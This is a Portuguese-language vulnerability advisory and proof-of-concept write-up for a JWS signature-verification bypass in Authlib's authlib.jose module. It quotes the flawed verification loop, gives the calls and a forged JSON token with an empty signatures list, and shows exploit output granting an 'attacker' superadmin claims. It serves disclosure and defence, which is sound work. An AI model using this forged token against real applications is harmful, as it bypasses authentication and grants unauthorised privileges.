
Authlib 1.7.2: Bypass de verificação de assinatura - JWS JSON geral aceita payload não assinado quando `signatures` está vazio
Prova de conceito para um bypass de verificação de assinatura no módulo authlib.jose do Authlib. JsonWebSignature.deserialize_json() aceita um objeto JWS JSON Geral com um array signatures vazio e retorna o payload controlado pelo atacante como verificado com sucesso - sem necessidade de chave, sem verificação de assinatura.
Afetado: Authlib ≤ 1.7.2, módulo authlib.jose
Não afetado: o caminho compacto de JWT (jwt.decode()). Este bug é específico da API JWS de Serialização JSON.
CWE: CWE-347 (Verificação Imprópria de Assinatura Criptográfica), CWE-670, CWE-358
Status: sem patch na 1.7.x - o módulo authlib.jose foi removido completamente no Authlib 1.8, não corrigido. Qualquer implantação fixada abaixo da 1.8 permanece exposta.
# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True # starts True
for header_obj in obj["signatures"]: # zero iterations when signatures = []
jws_header, valid = self._validate_json_jws(
payload_segment, payload, header_obj, key
)
headers.append(jws_header)
if not valid:
is_valid = False
rv = JWSObject(headers, payload, "json")
if is_valid:
return rv # attacker payload returned as verified
raise BadSignatureError(rv)
is_valid é inicializado como True e só é alterado dentro do corpo do loop. Quando signatures é [], o loop é executado zero vezes, nenhuma lógica de verificação é executada e a função retorna sucesso - uma falha clássica de verdade vazia. Ambos os pontos de entrada públicos são afetados:
jws.deserialize_json({"payload": "...", "signatures": []}, key) # direct
jws.deserialize('{"payload": "...", "signatures": []}', key) # generic dispatcher
Qualquer aplicação que verifique entrada JSON JWS controlada pelo atacante via deserialize_json() ou deserialize() perde suas garantias de autenticidade/integridade sobre essa entrada:
sub, role, claims de sessãoscope, tenant, permissionsgit clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py
=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
"payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
"signatures": [
{
"protected": "eyJhbGciOiJIUzI1NiJ9",
"signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
}
]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'
=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:
=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
"payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
"signatures": []
}
[X VULNERABLE] Verification succeeded WITHOUT any signature!
Payload : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
Headers : []
Type : json
→ Attacker fully controls payload content
→ Application trusts payload as signed by trusted party
Os três casos isolam a falha com precisão: uma assinatura real com a chave errada é corretamente rejeitada, uma assinatura real com a chave certa é corretamente aceita, e uma lista de assinaturas vazia — que deveria ser o caso mais rejeitado de todos — é silenciosamente aceita.
authlib.jose (nenhuma correção emitida): 30 de julhoauthlib.jose removido no Authlib 1.8 (não retroportado como correção)Descoberto e reportado por uziii2208 e nguyenminhtuan28.
Este PoC é publicado para fins educacionais e defensivos — para ajudar mantenedores, equipes de segurança e usuários downstream a compreender e corrigir o problema. Não o utilize contra sistemas que você não possui ou para os quais não possui autorização explícita de teste.